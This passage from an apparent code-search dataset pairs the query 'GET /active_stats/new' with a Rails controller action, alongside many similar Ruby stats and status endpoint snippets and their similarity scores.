time_data(@user.episodes, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(@user.episodes, :hash) }\n end\n end", "def index\n @users = User.all(include: :stats)\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { head :ok }\n end\n end", "def request_stats\n @all = current_user.trip_requests.requests.count\n @completed = current_user.trip_requests.completed.requests.count\n @cancelled = current_user.trip_requests.cancelled.requests.count\n @active = current_user.trip_requests.active.requests.count\n @stats = current_user.trip_requests.requests.group_by_month(:created_at, format: \"%b\", reverse:true).count\n @response = { all: @all, completed: @completed, cancelled: @cancelled, active: @active, requests: @stats }\n json_response(@response)\n end", "def statistics\n JSON.parse @gapi.statistics.to_json\n end", "def status\n request :get, \"_status\"\n end", "def index\n @player_statistics = PlayerStatistic.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @player_statistics }\n end\n end", "def index\n @gateway_stats = GatewayStat.all.where(created_at: 1.day.ago..DateTime.now)\n end", "def stats\n \n end", "def index\n @flightstats = Flightstat.all\n end", "def call_rest_getlbvstats\n print \"get lb vserver stats\\n\"\n @uri.path = \"/nitro/v1/config/lbvserver/\"\n @request = Net::HTTP::Get.new(@uri)\n @request.basic_auth \"#{@username}\", \"#{@password}\"\n @request.add_field('Content-Type', 'application/vnd.com.citrix.netscaler.lbvserver+json')\n\n Net::HTTP.start(@uri.host, @uri.port) { |http|\n response = http.request(@request)\n\n if response.code == \"200\"\n result = JSON.parse(response.body)\n File.open(\"lbvserver-stats.json\", \"w\") do |file|\n file.write(JSON.pretty_generate(result))\n end\n end\n }\n\n end", "def index\n @visit_stats = VisitStat.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @visit_stats }\n end\n end", "def health\n render json: { status: 'OK' }\n end", "def stats\n @stats ||= query\n end", "def stats\n @stats ||= query\n end", "def show\n @annual_stat = AnnualStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @annual_stat }\n end\n end", "def index\n @system_stats = SystemStat.all\n end", "def index\n render json: Client.where(active:true)\n end", "def index\n statuses_dashboard\n end", "def index\n @request_statuses = RequestStatus.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @request_statuses }\n end\n end", "def show\r\n @stats = Stat.all\r\n @statsu = Stat.where(calculation_id: params[:id])\r\n\r\n respond_to do |format|\r\n format.html # show.html.erb\r\n format.json { render json: @stat }\r\n end\r\n end", "def show\n @task_stat = TaskStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @task_stat }\n end\n end", "def stats\n @client.command(dbStats: 0).documents[0]\n end", "def stats\n @client.command(dbStats: 0).documents[0]\n end", "def stats\n @stats = {\n total_distance: CyclingEvent.sum(:distance),\n total_time: CyclingEvent.sum(:finish_time),\n average_speed: CyclingEvent.sum(:distance).to_f / CyclingEvent.sum(:finish_time).to_f\n }\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: @stats, callback: params[:callback] }\n format.xml { render xml: @stats }\n end\n end", "def stats\n get_charts\n end", "def get_json_stats_from(ip, port)\n Net::HTTP.start(ip, port) {|http| http.get('/stats.json') }.body rescue \"{}\"\nend", "def rate_limit_status\n get('/account/rate_limit_status.json')\n end", "def index\n @campaigns = Campaign.where(:live => true)\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @campaigns }\n end\n end", "def query\n resp = {:records => []}\n status_key = STATUS[rand(STATUS.length)]\n ss = Spooge.find_on_redis(:status,status_key)\n resp[:record_count] = ss.length\n ss.each do |s|\n resp[:records] << s\n end \n render :json => resp\n end", "def stats(url, options={})\n query = {:url => url}\n query.merge!(options)\n response = handle_response(self.class.get(\"/stats.json\", :query => query))\n Topsy::Stats.new(response)\n end", "def show\n @game_stat = GameStat.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @game_stat }\n end\n end", "def index\n @data_points = DataPoint.recent # cached_recent\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @data_points }\n end\n end", "def show\n @metric = Metric.find(params[:id])\n\n render json: @metric\n end", "def stats\n adapter.stats\n end", "def track\n url = Rails.env.development? ? \"http://localhost:8000/stat\" : \"http://stats.universit.as/stat\"\n RestClient.get(url, :params => {\n :ip => request.remote_ip,\n :title => request.referrer\n })\n render :js => ''\n end", "def show\n @user_reported_statistic = UserReportedStatistic.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @user_reported_statistic }\n end\n end", "def statuses\n api.get('status')\n end", "def index\n @manifestation_checkout_stats = ManifestationCheckoutStat.page(params[:page])\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @manifestation_checkout_stats }\n end\n end", "def http_statistics\n super\n end", "def index\n @visits = Visit.all\n render json: { \"count\": @visits.count, \"all_visits\": @visits }\n #render json: {\"all_visits\": @visits} \n end", "def stats\n self[:stats]\n end", "def show\n @status = Status.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end", "def show\n @status = Status.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @status }\n end\n end" ]
[ "0.7551879", "0.7551879", "0.75458974", "0.70523727", "0.70523727", "0.6995069", "0.67771333", "0.6745493", "0.6745493", "0.6745493", "0.6693683", "0.6664412", "0.664501", "0.66362834", "0.6612288", "0.65774196", "0.65427107", "0.6526029", "0.6513008", "0.650902", "0.6497229", "0.64685506", "0.64544797", "0.6418458", "0.641078", "0.639843", "0.6384889", "0.63786495", "0.6361564", "0.6360979", "0.6342341", "0.634017", "0.63137466", "0.6308342", "0.6295341", "0.62907666", "0.62868375", "0.6279271", "0.6279271", "0.6279271", "0.62733924", "0.62598145", "0.62469447", "0.6245307", "0.6239194", "0.6231592", "0.6225764", "0.6225278", "0.62158287", "0.62041134", "0.6195251", "0.6192244", "0.6192244", "0.6191847", "0.6191728", "0.61894006", "0.61823726", "0.6171492", "0.6170483", "0.616799", "0.6156637", "0.61532897", "0.61444217", "0.61389863", "0.6138507", "0.61332095", "0.6130114", "0.6116964", "0.6111967", "0.6099253", "0.6099253", "0.6099102", "0.60986364", "0.6096833", "0.60910654", "0.6088844", "0.6088115", "0.60822", "0.60621274", "0.60621274", "0.60552907", "0.6049511", "0.6044976", "0.60398513", "0.6037883", "0.6032641", "0.6019848", "0.60165495", "0.6013197", "0.60097814", "0.6006382", "0.59949785", "0.5986928", "0.5985503", "0.5980655", "0.59796286", "0.59773386", "0.59754026", "0.5971117", "0.5971117" ]
0.7345192
3
GET /active_stats/new GET /active_stats/new.json
def new @active_stat = ActiveStat.new respond_to do |format| format.html # new.html.erb format.json { render :json => @active_stat } end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @stat }\n end\n end", "def new\n @new_status = NewStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @new_status }\n end\n end", "def create\n @active_stat = ActiveStat.new(params[:active_stat])\n\n respond_to do |format|\n if @active_stat.save\n format.html { redirect_to @active_stat, :notice => 'Active stat was successfully created.' }\n format.json { render :json => @active_stat, :status => :created, :location => @active_stat }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @active_stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status }\n end\n end", "def new\n @stat_misc = StatMisc.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stat_misc }\n end\n end", "def new\n @task_stat = TaskStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @task_stat }\n end\n end", "def new\n @match_stat = MatchStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @match_stat }\n end\n end", "def new\n @annual_stat = AnnualStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @annual_stat }\n end\n end", "def new\n @group_stat = GroupStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @group_stat }\n end\n end", "def new\n @tracker = Tracker.new(:active => true, :user_id => current_user.id)\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tracker }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @stat = Stat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @stat }\n end\n end", "def new\n @game_stat = GameStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game_stat }\n end\n end", "def new\n @traffic = Traffic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @traffic }\n end\n end", "def new\n @status_record = StatusRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_record }\n end\n end", "def new\n @request_status = RequestStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @request_status }\n end\n end", "def new\n @stats_money_transaction = Stats::MoneyTransaction.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stats_money_transaction }\n end\n end", "def new\n @threshold = Threshold.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @threshold }\n end\n end", "def new\n @points_history = PointsHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @points_history }\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @health_level }\n end\n end", "def new\n @visit_stat = VisitStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @visit_stat }\n end\n end", "def new\n @usage = Usage.new\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @usage }\n end\n end", "def new\n @statusreport = Statusreport.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @statusreport }\n end\n end", "def new\n @usage_status = UsageStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @usage_status }\n end\n end", "def new\n @active_status = ActiveStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @active_status }\n end\n end", "def new\n @activity = Activity.new\n @series = get_series('activities')\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @historical = Historical.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @historical }\n end\n end", "def new\n @recent_activity = RecentActivity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @recent_activity }\n end\n end", "def new\n @p_stat = PStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @p_stat }\n end\n end", "def new\n @status_ativ = StatusAtiv.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @status_ativ }\n end\n end", "def new\n @record_status = RecordStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @record_status }\n end\n end", "def new\n @bookmark_stat = BookmarkStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @bookmark_stat }\n end\n end", "def new\n @audit = current_user.audits.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @audit }\n end\n end", "def new\n @stable = Stable.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @stable }\n end\n end", "def new\n @fixturestat = Fixturestat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @fixturestat }\n end\n end", "def new\n @evaluationstatus = Evaluationstatus.new\n @title = 'New Evaluation Status'\n @description = 'Add a new evaluation status to the system'\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @evaluationstatus }\n end\n end", "def index\n @stats = Stat.all\n @stat = Stat.new\n render html: @stats, json: @stats\n # respond_to do |format|\n # format.html\n # format.json\n # end\n end", "def new\n @heartbeat = Heartbeat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @heartbeat }\n end\n end", "def new\n @nvs_mig_status = NvsMigStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @nvs_mig_status }\n end\n end", "def create\n @stat = Stat.new(params[:stat])\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, :notice => 'Stat was successfully created.' }\n format.json { render :json => @stat, :status => :created, :location => @stat }\n else\n format.html { render :action => \"new\" }\n format.json { render :json => @stat.errors, :status => :unprocessable_entity }\n end\n end\n end", "def new\n @tstat = Tstat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @tstat }\n end\n end", "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "def new\n @status = Status.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.xml { render :xml => @status }\n end\n end", "def new\n @time_balance = TimeBalance.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @time_balance }\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to stats_url, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @stat = Stat.new(ip: get_user_ip, os: get_user_os, browser: get_user_browser, from: get_user_from)\n @stat.save!\n end", "def create\n @stat = Stat.new(stat_params)\n\n if @stat.save\n render json: @stat, status: :created, location: @stat\n else\n render json: @stat.errors, status: :unprocessable_entity\n end\n end", "def new\n @slab = Slab.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @slab }\n end\n end", "def new\n @agent_status = AgentStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @agent_status }\n end\n end", "def new\n @gauge = Gauge.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @gauge }\n end\n end", "def new\n get_status\n @tag = Tag.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @tag }\n end\n end", "def new\n @player_statistic = PlayerStatistic.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_statistic }\n end\n end", "def new\n @assignment_status = AssignmentStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @assignment_status }\n end\n end", "def new\n @healthrecord = Healthrecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @healthrecord }\n end\n end", "def new\n @query_history = QueryHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @query_history }\n end\n end", "def new\n @user_reported_statistic = UserReportedStatistic.new\n @statistic_types = StatisticType.all\n @games = Game.all\n @teams = Team.all\n @players = Player.all\n @users = User.all\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @user_reported_statistic }\n end\n end", "def create\n @stat = Stat.new(params[:stat])\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render json: @stat, status: :created, location: @stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(params[:stat])\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render json: @stat, status: :created, location: @stat }\n else\n format.html { render action: \"new\" }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n respond_to do |format|\n format.html # new.html.erb\n #format.json { render json: @summary }\n end\n end", "def new\n @transit_score = TransitScore.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @transit_score }\n end\n end", "def new\n @application_status = ApplicationStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @application_status }\n end\n end", "def new\n @health_record = HealthRecord.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @health_record }\n end\n end", "def new\n @distribution_audit = DistributionAudit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @distribution_audit }\n end\n end", "def new\n @trial = Trial.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @trial }\n end\n end", "def new\n @invite_status = InviteStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @invite_status }\n end\n end", "def new\n @dashboard = Dashboard.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @dashboard }\n end\n end", "def new\n @itemstatus = Itemstatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @itemstatus }\n end\n end", "def new\n @progress = Progress.new\n\n respond_to do |format|\n format.json { render json: @progress }\n end\n end", "def new\n @asset_allocation_history = AssetAllocationHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @asset_allocation_history }\n end\n end", "def new\n @story_status = StoryStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @story_status }\n end\n end", "def new\n @api_tracking = ApiTracking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @api_tracking }\n end\n end", "def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @observation = Observation.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @observation }\n end\n end", "def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def new\n @activity = Activity.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @activity }\n end\n end", "def show\n @new_status = NewStatus.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @new_status }\n end\n end", "def new\n @channel_status = ChannelStatus.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @channel_status }\n end\n end", "def new\n @green = Green.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @green }\n end\n end", "def new\n @hit = Hit.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @hit }\n end\n end", "def new\n \n #timestamp={{FellAsleepAt}}&total_sleep={{TotalTimeSleptInSeconds}}&deep={{TimeInDeepSleepSeconds}}&light={{TimeInLightSleepSeconds}}&awake={{TimeAwakeSeconds}}\n \n json_hash = Hash.new\n \n @sleep = json_hash\n \n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @sleep }\n end\n end", "def new\n @processed_datum = ProcessedDatum.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @processed_datum }\n end\n end", "def new\n @interval = Interval.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @interval }\n end\n end", "def new\n @ranking = Ranking.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @ranking }\n end\n end", "def new\n @heat_source = HeatSource.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @heat_source }\n end\n end", "def new\n @planned_time = PlannedTime.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @planned_time }\n end\n end", "def new\n @collect_query = CollectQuery.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @collect_query }\n end\n end", "def new\n @census_count = CensusCount.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @census_count }\n end\n end", "def new\n @balance = scope.new\n @routes = current_user.locations.collect(&:routes).flatten\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @balance }\n end\n end", "def new\n @player_game_stat = PlayerGameStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @player_game_stat }\n end\n end", "def new\n @criterion = Criterion.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @criterion }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def new\n @score = Score.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @score }\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n respond_to do |format|\n if @stat.save\n format.html { redirect_to @stat, notice: 'Stat was successfully created.' }\n format.json { render :show, status: :created, location: @stat }\n else\n format.html { render :new }\n format.json { render json: @stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def new\n @task_metric = TaskMetric.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @task_metric }\n end\n end", "def new\n @leader_history = LeaderHistory.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @leader_history }\n end\n end", "def new\n @timeline = Timeline.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @timeline }\n end\n end" ]
[ "0.745848", "0.7391077", "0.7301487", "0.7186264", "0.706984", "0.7018928", "0.70008487", "0.687276", "0.68291694", "0.68188906", "0.6749778", "0.6730057", "0.6730057", "0.6717459", "0.6698824", "0.66893834", "0.66827387", "0.6679885", "0.6630864", "0.6626687", "0.66025054", "0.6574615", "0.6570944", "0.6537423", "0.648672", "0.6484762", "0.6480375", "0.6476994", "0.64690924", "0.6456151", "0.64551896", "0.64528763", "0.6449123", "0.6441525", "0.64402586", "0.64388335", "0.6438597", "0.6437999", "0.6435489", "0.6430031", "0.6419144", "0.64179724", "0.6413156", "0.6413156", "0.6413156", "0.6411838", "0.640903", "0.63999295", "0.63908273", "0.63857496", "0.63834167", "0.63559866", "0.635451", "0.63502717", "0.63483965", "0.63447094", "0.6340113", "0.63400793", "0.633724", "0.633724", "0.6336697", "0.6336394", "0.63294077", "0.6327357", "0.6324505", "0.6316549", "0.6308856", "0.6306441", "0.63012964", "0.6298926", "0.6290372", "0.6285674", "0.6282166", "0.627966", "0.627966", "0.6270652", "0.6270652", "0.6259366", "0.6253133", "0.62503403", "0.62378216", "0.62367314", "0.62332726", "0.62315226", "0.6231248", "0.62311435", "0.6227956", "0.6226885", "0.6219056", "0.6217291", "0.621383", "0.62138283", "0.6212047", "0.6212047", "0.62094945", "0.62094945", "0.62094945", "0.6208158", "0.6208075", "0.6197942" ]
0.78863364
0
POST /active_stats POST /active_stats.json
def create @active_stat = ActiveStat.new(params[:active_stat]) respond_to do |format| if @active_stat.save format.html { redirect_to @active_stat, :notice => 'Active stat was successfully created.' } format.json { render :json => @active_stat, :status => :created, :location => @active_stat } else format.html { render :action => "new" } format.json { render :json => @active_stat.errors, :status => :unprocessable_entity } end end end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def send_stats\n first_time = @prev_stat.empty?\n stats = build_request\n @stat.keys.each { |k| stats[k] = @stat[k] - @prev_stat[k] }\n @prev_stat.replace(@stat)\n # These should be reported as absolute values\n [:mt, :ma, :mc].each {|k| @prev_stat[k] = 0}\n return if first_time\n\n req = Net::HTTP::Post.new('/')\n req.set_form_data(stats)\n res = Net::HTTP.start(API, use_ssl: true) { |http| http.request(req) }\n unless res.is_a?(Net::HTTPOK)\n STDERR.puts \"Error sending stat: #{res.message}\"\n end\n res\n end", "def stats\n request :get, \"_stats\"\n end", "def stats\n request :get, \"_stats\"\n end", "def request_stats\n @all = current_user.trip_requests.requests.count\n @completed = current_user.trip_requests.completed.requests.count\n @cancelled = current_user.trip_requests.cancelled.requests.count\n @active = current_user.trip_requests.active.requests.count\n @stats = current_user.trip_requests.requests.group_by_month(:created_at, format: \"%b\", reverse:true).count\n @response = { all: @all, completed: @completed, cancelled: @cancelled, active: @active, requests: @stats }\n json_response(@response)\n end", "def stats\n @stats = {}\n @stats[\"online\"] = \"Of course. That's how the internet works.\"\n @stats[\"requested_at\"] = Time.now\n @stats[\"total_tweets\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from tweets\").all_hashes.first[\"rows\"]\n @stats[\"total_users\"] = ActiveRecord::Base.connection.execute(\"explain select count(id) from users\").all_hashes.first[\"rows\"]\n @stats[\"number_collections\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections\").fetch_row.first\n @stats[\"researchers_active\"] = ActiveRecord::Base.connection.execute(\"select count(id) from researchers\").fetch_row.first\n @stats[\"scrape_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from scrapes\").fetch_row.first\n @stats[\"datasets_count\"] = ActiveRecord::Base.connection.execute(\"select count(id) from collections where single_dataset = 1\").fetch_row.first\n @stats[\"analysis_jobs_completed\"] = ActiveRecord::Base.connection.execute(\"select count(id) from analysis_metadatas\").fetch_row.first\n @stats[\"total_graphs\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graphs\").all_hashes.first[\"rows\"]\n @stats[\"total_graph_points\"] = ActiveRecord::Base.connection.execute(\"select count(id) from graph_points\").all_hashes.first[\"rows\"]\n @stats[\"total_edges\"] = ActiveRecord::Base.connection.execute(\"select count(id) from edges\").fetch_row.first\n respond_to do |format|\n format.xml { render :xml => @stats.to_xml }\n format.json { render :json => @stats.to_json }\n end\n end", "def import_active_stats\n\n end", "def trips_stats \n @all = current_user.trip_requests.trips.count\n @completed = current_user.trip_requests.trips.completed.count\n @cancelled = current_user.trip_requests.trips.cancelled.count\n @pending = current_user.trip_requests.trips.pending.count\n @on_going = current_user.trip_requests.trips.on_going.count\n @active = current_user.trip_requests.trips.active.count\n @monthly_successful = current_user.trip_requests.completed.trips.group_by_month(:created_at, format: \"%b\", reverse:true).count\n @monthly_pending = current_user.trip_requests.pending.trips.group_by_month(:created_at, format: \"%b\", reverse:true).count\n @response = { all: @all, completed: @completed, cancelled: @cancelled, active: @active, monthly_pending:@monthly_pending, monthly_successful:@monthly_successful, pending: @pending, on_going: @on_going }\n json_response(@response)\n end", "def active_now(options = {})\n request_model = @request_model_factory.active_now_request_model(options)\n response = @network_client.perform_request(request_model)\n JSON.parse(response.body)['cardinality']\n end", "def stats_users\n call_path = \"status/userTypes\"\n request = \"\"\n data = build_post_data(request)\n perform_post(build_url(call_path), data)\n end", "def new\n @active_stat = ActiveStat.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render :json => @active_stat }\n end\n end", "def performance\n authenticated_post(\"auth/r/stats/perf:1D/hist\")\n end", "def set_stats\n {\n \"projectId\": '1234',\n \"invalid\": 2,\n \"error\": 1,\n \"info\": 0,\n \"warning\": 2\n }\nend", "def create\n @backend_stat = Backend::Stat.new(params[:backend_stat])\n\n respond_to do |format|\n if @backend_stat.save\n Backend::Stat.update_all_cohorts\n \n format.html { redirect_to backend_stats_path, notice: 'Stat was successfully created.' }\n format.json { render json: @backend_stat, status: :created, location: @backend_stat }\n else\n format.html { redirect_to backend_stats_path, notice: 'Stat could not be created.' }\n format.json { render json: @backend_stat.errors, status: :unprocessable_entity }\n end\n end\n end", "def create\n @stat = Stat.new(stat_params)\n\n if @stat.save\n render json: @stat, status: :created, location: @stat\n else\n render json: @stat.errors, status: :unprocessable_entity\n end\n end", "def stats\n @stats = time_data MonzoTransaction.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(MonzoTransaction.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(MonzoTransaction.all, :hash) }\n end\n end", "def stats\n @stats = time_data Gig.all\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(Gig.all, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(Gig.all, :hash) }\n end\n end", "def stats\n @stats = {\n total_distance: CyclingEvent.sum(:distance),\n total_time: CyclingEvent.sum(:finish_time),\n average_speed: CyclingEvent.sum(:distance).to_f / CyclingEvent.sum(:finish_time).to_f\n }\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: @stats, callback: params[:callback] }\n format.xml { render xml: @stats }\n end\n end", "def stats\n year = Analytic.where(\"created_at > ?\", Time.now - 1.year)\n @stats = time_data year\n\n respond_to do |format|\n format.html # stats.html.erb\n format.json { render json: time_data(year, :hash), callback: params[:callback] }\n format.xml { render xml: time_data(year, :hash) }\n end\n end", "def index\n @backend_stats = Backend::Stat.order('created_at ASC')\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @backend_stats }\n end\n end", "def stats\n Client.current.get(\"#{resource_url}/stats\")\n end", "def view_stats\n @company = Company.find(params[:id])\n data = {\n :name => \"Student Views\",\n :pointInterval => 1.day * 1000,\n :pointStart => 1.weeks.ago.at_midnight.to_i * 1000,\n :data => (1.weeks.ago.to_date..Date.today).map{ |date|\n @company.impressions.where(\n \"created_at > ? AND created_at < ?\",\n date.at_beginning_of_day,\n date.tomorrow.at_beginning_of_day\n ).select{ |impression| impression.action_name == \"stat_show\"}.count\n }\n }\n respond_with data\n end", "def stats\n ## TODO:\n end", "def index\n @stats = Stat.all\n\n render json: {data:\n @stats.map {|stat|\n days = range_to_days(stat)\n {\n total_seconds: stat.total_seconds,\n human_readable_total: humanize(stat.total_seconds),\n daily_average: stat.daily_average,\n human_readable_daily_average: humanize(stat.daily_average),\n range: stat.range,\n holidays: stat.holidays,\n days_including_holidays: days,\n days_minus_holidays: days - stat.holidays,\n status: stat.status,\n is_already_updating: stat.is_already_updating,\n is_stuck: stat.is_stuck,\n is_up_to_date: stat.is_up_to_date,\n timeout: stat.timeout,\n editors: stat.editors.map {|e|\n {\n name: e.name,\n total_seconds: e.total_seconds,\n percent: 